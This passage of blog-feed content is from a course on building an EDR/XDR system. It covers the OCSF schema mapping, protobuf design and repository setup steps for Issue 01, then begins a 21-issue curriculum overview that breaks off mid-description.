points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"><em>Events move down the data plane; response commands return to agents on a separate path.</em></figcaption></figure></div><blockquote><p>The same spine applies to a Linux host, a Kubernetes node, or identity-provider audit logs. Modules 1&#8211;6.5 align each source to one vocabulary before deeper detection work.</p></blockquote><h2><strong>OCSF as the storage and query model</strong></h2><blockquote><p>Custom JSON field names (for example <code>parentProcId</code>) are inexpensive in early modules and costly later. Public Sigma rules still use classic fields such as <code>Image</code> and <code>CommandLine</code>. OCSF does not eliminate conversion; it provides one storage vocabulary for Sigma pipelines, correlation joins, and later investigation tools.</p><p>This course normalizes to the Open Cybersecurity Schema Framework (Linux Foundation project since November 2024). Confirm the current release at <a href="https://schema.ocsf.io/">schema.ocsf.io</a>. This issue was verified against <strong>1.8.0</strong> (March 2026). AWS Security Lake is a clear OCSF-native lake example. Elastic&#8217;s primary gravity remains ECS. Vendor agent wire formats are not uniformly OCSF. The project adopts OCSF as the greenfield storage and query model.</p><p>Protobuf is the wire format. OCSF is the data model. Classification fields (<code>class_uid</code>, <code>category_uid</code>, <code>activity_id</code>, <code>type_uid</code>, <code>severity_id</code>) belong on the Base Event. The <code>metadata</code> object carries product identity and the OCSF schema version string.</p></blockquote><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!UnI_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!UnI_!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png 424w, /__u/substackcdn.com/image/fetch/$s_!UnI_!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png 848w, /__u/substackcdn.com/image/fetch/$s_!UnI_!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png 1272w, /__u/substackcdn.com/image/fetch/$s_!UnI_!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!UnI_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png" width="586" height="524.4217032967033" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1303,&quot;width&quot;:1456,&quot;resizeWidth&quot;:586,&quot;bytes&quot;:771966,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/209910259?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!UnI_!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png 424w, /__u/substackcdn.com/image/fetch/$s_!UnI_!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png 848w, /__u/substackcdn.com/image/fetch/$s_!UnI_!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png 1272w, /__u/substackcdn.com/image/fetch/$s_!UnI_!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff62db1a7-10c7-4c7a-8cb1-b30f7b5e74c7_3648x3264.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"><em>Selected wire fields map to OCSF process_activity paths, including type_uid, process.uid, and actor.process.</em></figcaption></figure></div><blockquote><p>Maintain <code>docs/ocsf-mapping.md</code> as the source of truth. Update that document before extending <code>proto/telemetry.proto</code> when new event classes are added.</p></blockquote><h2><strong>Wire contract decisions</strong></h2><blockquote><p>Place classification fields at the top level of <code>TelemetryEvent</code> so conversion and query code share one convention.</p><p>Model <code>Actor</code> with both <code>process</code> and <code>user</code>. For process Launch, the actor process is typically the parent. A user-only actor object does not match OCSF process activity semantics.</p><p>Include <code>process.uid</code> as durable process identity. Operating systems reuse PIDs; lineage and process-tree views require a stable id. Agents populate <code>process.uid</code> beginning in Issue 02.</p><p>Start <code>oneof activity</code> at field number 10 so later file and network arms can be added without renumbering. Assigned field numbers are part of the wire contract.</p><p>Compute <code>type_uid</code> as <code>class_uid * 100 + activity_id</code> (process Launch &#8594; <code>100701</code>). Downstream tables and rules key on this value.</p><p>Store file hashes as a single <code>sha256</code> string until Module 6 (TIER 2). Leaving <code>process.uid</code> empty while claiming OCSF alignment produces incorrect lineage later; populate the field when agents ship.</p></blockquote><h2><strong>Deliverable</strong></h2><blockquote><p>Produce the repository scaffold, <code>proto/telemetry.proto</code> mapped to OCSF <code>process_activity</code>, <code>docs/ocsf-mapping.md</code>, and the architecture and mapping diagrams. No host agent executes in this issue.</p><p>Completion criteria:</p></blockquote><ol><li><p><code>protoc --proto_path=proto --python_out=/tmp proto/telemetry.proto</code> completes without errors.</p></li><li><p>You can locate top-level <code>type_uid</code>, <code>severity_id</code>, and <code>Actor.process</code> in the proto without referring to this article.</p></li><li><p>You can redraw the five-layer architecture and state the primary failure mode of each layer.</p></li></ol><h2><strong>Labs</strong></h2><ol><li><p>Install Sysmon on a Windows VM and osquery on any OS. Generate ordinary activity (browser, terminal). Inspect raw event schemas. Do not write project code yet.</p></li><li><p>Open the <code>process_activity</code> class on schema.ocsf.io. Compare fields to Sysmon and osquery output. Note gaps in both directions; do not resolve them yet.</p></li><li><p>Redraw the architecture diagram from memory. Write one sentence per layer describing its role. If any layer is unclear, reread the architecture section before starting Issue 02.</p></li></ol><h1><strong>Implementation guide: Foundations, Threat Model &amp; OCSF</strong></h1><h2>Github Link:</h2><p><a href="https://github.com/sysdr/production-xdr-edr/tree/main/v01-foundations-ocsf">https://github.com/sysdr/production-xdr-edr/tree/main/v01-foundations-ocsf</a></p><blockquote><p>Keep this guide open while building. Design rationale is in the issue article; this document is the step sequence only.</p></blockquote><h2><strong>Prerequisites</strong></h2><ul><li><p><code>git</code></p></li><li><p><code>protoc</code> (protobuf compiler), v3.21+ recommended</p><ul><li><p>macOS: <code>brew install protobuf</code></p></li><li><p>Linux: <code>apt install -y protobuf-compiler</code> (or distro equivalent)</p></li><li><p>Windows: install from <a href="https://github.com/protocolbuffers/protobuf/releases">protobuf releases</a> and add to <code>PATH</code></p></li></ul></li><li><p>A text editor</p></li><li><p>No OS-native agent tooling in this issue (starts Issue 02)</p></li></ul><blockquote><p>Verify:</p></blockquote><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;1df317eb-409f-4dcd-853e-01256a82ccf2&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">protoc --version
# libprotoc 3.21.0 or higher</code></pre></div><h2><strong>Step 1 &#8212; Scaffold the repository</strong></h2><pre><code><code>mkdir edr-xdr-from-scratch &amp;&amp; cd edr-xdr-from-scratch
git init

mkdir -p agent-windows agent-macos agent-linux agent-k8s \
         backend dashboard detections copilot proto \
         docs/issue-notes docs/implementation-guides docs/diagrams</code></code></pre><blockquote><p>Verify: <code>tree -L 2</code> (or <code>ls -R</code>) shows the nine top-level module directories plus <code>docs/</code> and <code>proto/</code>.</p></blockquote><h2><strong>Step 2 &#8212; Add the protobuf schema</strong></h2><blockquote><p>Create <code>proto/telemetry.proto</code> with <code>TelemetryEvent</code> and related messages. Read every OCSF mapping comment while writing. Field comments are the contract later modules assume.</p><p>Requirements:</p></blockquote><ol><li><p>Classification fields are top-level on <code>TelemetryEvent</code>: <code>class_uid</code> (1007), <code>category_uid</code> (1), <code>activity_id</code>, <code>type_uid</code> (<code>class_uid * 100 + activity_id</code>), <code>severity_id</code>. Do not place these only inside <code>metadata</code>.</p></li><li><p><code>Metadata</code> holds product identity and OCSF schema version (<code>ocsf_version</code> &#8594; <code>metadata.version</code>).</p></li><li><p><code>Actor</code> includes <code>user</code> and <code>process</code>. For Launch, actor process is typically the parent.</p></li><li><p><code>ProcessActivity.uid</code> provides durable process identity. PID alone is insufficient for lineage.</p></li><li><p><code>oneof activity</code> currently contains only <code>process_activity</code> at field <code>10</code>. Later modules add arms without renumbering existing fields.</p></li></ol><blockquote><p>Verify:</p></blockquote><pre><code><code>protoc --proto_path=proto --python_out=/tmp proto/telemetry.proto</code></code></pre><blockquote><p><code>--python_out</code> is a syntax check only. Module 1 onward uses Rust. No compiler output means success.</p></blockquote><h2><strong>Step 3 &#8212; Write the OCSF mapping document</strong></h2><blockquote><p>Create <code>docs/ocsf-mapping.md</code> before treating the proto as finished. Later modules that add event types edit this file first, then the proto.</p><p>Include at minimum:</p></blockquote><ul><li><p>Rationale for OCSF (Sigma conversion target, lake/interchange where OCSF is used, shared tool vocabulary)</p></li><li><p>Top-level classification and <code>type_uid</code> / <code>severity_id</code> / proper <code>metadata</code></p></li><li><p>Full field mapping table including <code>process.uid</code> and <code>actor.process</code></p></li><li><p>Explicit list of deliberate non-exact mappings (for example flattened <code>sha256</code>)</p></li><li><p>Short detection field contract preview for Module 7</p></li></ul><h2><strong>Sandbox / CI / Reader VM</strong></h2><p><strong>StepSandbox / CIReader machine</strong>Repo scaffold + markdownFullFull<code>protoc</code> compileNeeds protobuf in the environmentRequired &#8212; Step 2SVG render checkOptional XML well-formednessOpen in browserLive OS agentsN/A this issueStarts Issue 02</p><h2><strong>Step 4&#8212; README and changelog</strong></h2><blockquote><p>Write top-level <code>README.md</code> covering repository layout, navigation of <code>docs/issue-notes/</code>, and the honesty label (demoable vertical slice).</p><p>Start <code>CHANGELOG.md</code> with one section per issue tag:</p></blockquote><pre><code><code>## v01-foundations-ocsf
- Repo scaffold
- TelemetryEvent protobuf schema, mapped to OCSF process_activity (class_uid 1007)
- System architecture + OCSF mapping diagrams</code></code></pre><h2><strong>Step 6 &#8212; Verify the deliverable</strong></h2><blockquote><p>Curriculum deliverable: architecture diagram + README + protobuf schema stub with an explicit field-to-OCSF mapping table.</p><p>Checklist:</p></blockquote><ul><li><p><code>proto/telemetry.proto</code> compiles with <code>protoc</code></p></li><li><p>Top-level <code>type_uid</code>, <code>severity_id</code>, <code>class_uid</code>, <code>category_uid</code>, <code>activity_id</code> exist on <code>TelemetryEvent</code></p></li><li><p><code>Metadata</code> carries product + OCSF version; <code>Actor</code> has user + process</p></li><li><p><code>ProcessActivity.uid</code> and <code>ProcessRef.uid</code> exist</p></li><li><p>Mapped fields have OCSF attribute comments</p></li><li><p><code>docs/ocsf-mapping.md</code> is complete and uses Sigma-as-conversion wording</p></li><li><p><code>README.md</code> explains repository structure</p></li><li><p>You can state the role and primary failure mode of each architecture layer</p></li></ul><h2><strong>Common errors</strong></h2><blockquote><p><code>protoc: command not found</code> &#8212; install the compiler and restart the shell so <code>PATH</code> updates apply (especially on Windows).</p><p><strong>Unexpected field numbers after edits</strong> &#8212; protobuf field numbers are part of the wire format. Do not renumber existing fields; later issues assume stability.</p><p><strong>Nothing runs yet</strong> &#8212; expected. Issue 01 is architecture and schema only. The first runnable binary is <code>linux-agent</code> in Issue 02.</p></blockquote><h2><strong>Next issue</strong></h2><blockquote><p>Tag this checkpoint before Issue 02:</p></blockquote><pre><code><code>git add -A
git commit -m "Issue 01: foundations, threat model, OCSF schema"
git tag v01-foundations-ocsf</code></code></pre><h2><strong>Validation note</strong></h2><blockquote><p><code>proto/telemetry.proto</code> should be checked for brace balance and field uniqueness. Full <code>protoc</code> compilation requires a local protobuf install. If compilation fails on a correct install, treat it as a bug report against this issue package.</p></blockquote><p></p><h2></h2><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://howtech.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">How Tech - Systems Programming is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Full Curriculum: Build a Production-Grade EDR/XDR From Scratch ]]></title><description><![CDATA[All 21 Issues (OCSF, eBPF, ETW, XDR Correlation, AI Copilot)]]></description><link>https://howtech.substack.com/p/full-curriculum-build-a-production</link><guid isPermaLink="false">https://howtech.substack.com/p/full-curriculum-build-a-production</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Fri, 14 Aug 2026 09:10:32 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!IWe9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Build a Production-Grade EDR/XDR From Scratch</h2><h3>The Full 21-Issue Curriculum</h3><p>This is the complete curriculum map for the course &#8212; every issue, what it covers, and how it fits into the larger system. Each issue corresponds to a git tag in the companion repo, so you can check out the exact working state described at any point.</p><div><hr></div><h2>Course Description</h2><p>This course builds a layered EDR/XDR system across 21 issues, the same way real security platforms are architected: agents observe activity on a host, events are normalized into a shared schema, shipped securely, stored, run through detection rules, correlated into incidents, and surfaced to an analyst (human or AI) who can approve a response.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://howtech.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">How Tech - Systems Programming is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p>It is a <strong>demoable vertical slice</strong> &#8212; most agent demos run on replay fixtures rather than live kernel hooks, and some components (like the macOS agent) are explicitly scaffolds. The goal is to teach the engineering layering of an EDR/XDR platform honestly, not to ship a production fleet agent.</p><div><hr></div><h2>What You&#8217;ll Build</h2><ul><li><p>Agents for <strong>Linux (eBPF/Aya)</strong>, <strong>Windows (ETW)</strong>, <strong>macOS (ES scaffold)</strong>, and <strong>Kubernetes</strong></p></li><li><p>An <strong>OCSF normalization layer</strong> that converts OS-specific events into a shared schema (verified against OCSF 1.8.0)</p></li><li><p>A <strong>buffered, mTLS-secured transport layer</strong> for shipping events</p></li><li><p>A <strong>pipeline</strong> (broker &#8594; ClickHouse/SQLite) for ingest and storage</p></li><li><p><strong>Sigma-as-code detection rules</strong> and a <strong>behavioral scoring engine</strong></p></li><li><p>An <strong>XDR correlation engine</strong> and <strong>ITDR (identity threat detection)</strong> rules</p></li><li><p>A <strong>control-plane response system</strong> with approval gating</p></li><li><p>A <strong>SOC dashboard</strong> and an <strong>AI copilot</strong> with red-team testing</p></li><li><p>An <strong>anti-tamper watchdog lab</strong> and a <strong>Helm packaging</strong> setup</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!IWe9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!IWe9!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png 424w, /__u/substackcdn.com/image/fetch/$s_!IWe9!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png 848w, /__u/substackcdn.com/image/fetch/$s_!IWe9!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png 1272w, /__u/substackcdn.com/image/fetch/$s_!IWe9!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!IWe9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png" width="1456" height="1480" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1480,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1199102,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/209594346?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!IWe9!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png 424w, /__u/substackcdn.com/image/fetch/$s_!IWe9!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png 848w, /__u/substackcdn.com/image/fetch/$s_!IWe9!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png 1272w, /__u/substackcdn.com/image/fetch/$s_!IWe9!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h2>Overall Architecture</h2><pre><code><code>Linux / Windows / macOS / K8s agents
        &#8595; (OCSF JSON events)
Buffer (SQLite) + mTLS shipper
        &#8595;
Ingest &#8594; broker (file-backed / Kafka-Redpanda) &#8594; ClickHouse/SQLite
        &#8595;
Detections (Sigma + behavioral) &#8594; XDR correlation &#8594; ITDR
        &#8595;
Response (approved actions only)
        &#8595;
SOC dashboard / AI copilot
</code></code></pre><div><hr></div><h2>The 21-Issue Curriculum</h2><h3>Module 0 &#8212; Foundations</h3><p><strong>Issue 01 &#8212; Foundations, Threat Model, OCSF</strong> <em>(v01-foundations-ocsf)</em></p><ul><li><p>What&#8217;s covered: The threat model for the system and an introduction to OCSF (Open Cybersecurity Schema Framework) as the shared event language.</p></li><li><p>What you build/work with: The conceptual foundation and schema mapping approach used by every later issue.</p></li><li><p>Key concepts: Why a common schema matters when events come from different operating systems.</p></li><li><p>Why it matters: Every agent, every detection rule, and every dashboard view depends on this normalized format existing first.</p></li></ul><div><hr></div><h3>Module 1 &#8212; Agents</h3><p><strong>Issue 02 &#8212; Linux Agent (eBPF)</strong> <em>(v02-linux-agent-ebpf)</em></p><ul><li><p>What&#8217;s covered: A Linux agent built with eBPF/Aya that observes process activity, run in <code>--mode replay</code> against fixture files like <code>exec-events.jsonl</code>.</p></li><li><p>What you build/work with: Raw kernel-style event capture and conversion into OCSF Process Activity events, including the durable <code>process.uid</code> (boot:pid:start_time) used to link related events.</p></li><li><p>Key concepts: eBPF as a kernel-hook mechanism; replay-based lab testing.</p></li><li><p>Why it matters: This is the first &#8220;eyes on the machine&#8221; sensor and the template for how all agents feed the pipeline.</p></li></ul><p><strong>Issue 03 &#8212; Windows Agent (ETW)</strong> <em>(v03-windows-agent-etw)</em></p><ul><li><p>What&#8217;s covered: A Windows agent built on ETW (Event Tracing for Windows).</p></li><li><p>What you build/work with: OS-specific event capture translated into the same OCSF format used by the Linux agent.</p></li><li><p>Key concepts: Cross-platform normalization &#8212; different collection mechanism, same output schema.</p></li><li><p>Why it matters: Demonstrates that the backend doesn&#8217;t need to care which OS an event came from once OCSF is applied.</p></li></ul><p><strong>Issue 04 &#8212; macOS Agent (ES Scaffold)</strong> <em>(v04-macos-agent-esf)</em></p><ul><li><p>What&#8217;s covered: A macOS agent scaffold structured around Endpoint Security (ES).</p></li><li><p>What you build/work with: The agent&#8217;s structural scaffold/mock rather than a fully live ES integration.</p></li><li><p>Key concepts: How to design an agent interface even when the underlying OS hook is not fully implemented.</p></li><li><p>Why it matters: Completes the three-OS agent story while being honest about what is scaffolded versus fully built.</p></li></ul><div><hr></div><h3>Module 2 &#8212; Transport &amp; Pipeline</h3><p><strong>Issue 05 &#8212; Transport, Buffering, mTLS</strong> <em>(v05-transport-mtls)</em></p><ul><li><p>What&#8217;s covered: The transport layer &#8212; a SQLite-backed buffer for offline resilience and mTLS for secure, authenticated shipping.</p></li><li><p>What you build/work with: A shipper that batches and sends events over HTTPS with certificate-based identity.</p></li><li><p>Key concepts: Buffering against network loss; mutual TLS as agent-to-backend authentication.</p></li><li><p>Why it matters: Events are worthless if they&#8217;re lost in transit or spoofable &#8212; this is the &#8220;sealed courier bag&#8221; of the system.</p></li></ul><p><strong>Issue 06 &#8212; Pipeline: Kafka &#8594; ClickHouse</strong> <em>(v06-pipeline-clickhouse)</em></p><ul><li><p>What&#8217;s covered: The backend ingest pipeline &#8212; accepting batches, queuing them on a broker (file-backed in labs, Redpanda/Kafka in the fuller setup), and flattening OCSF into stored 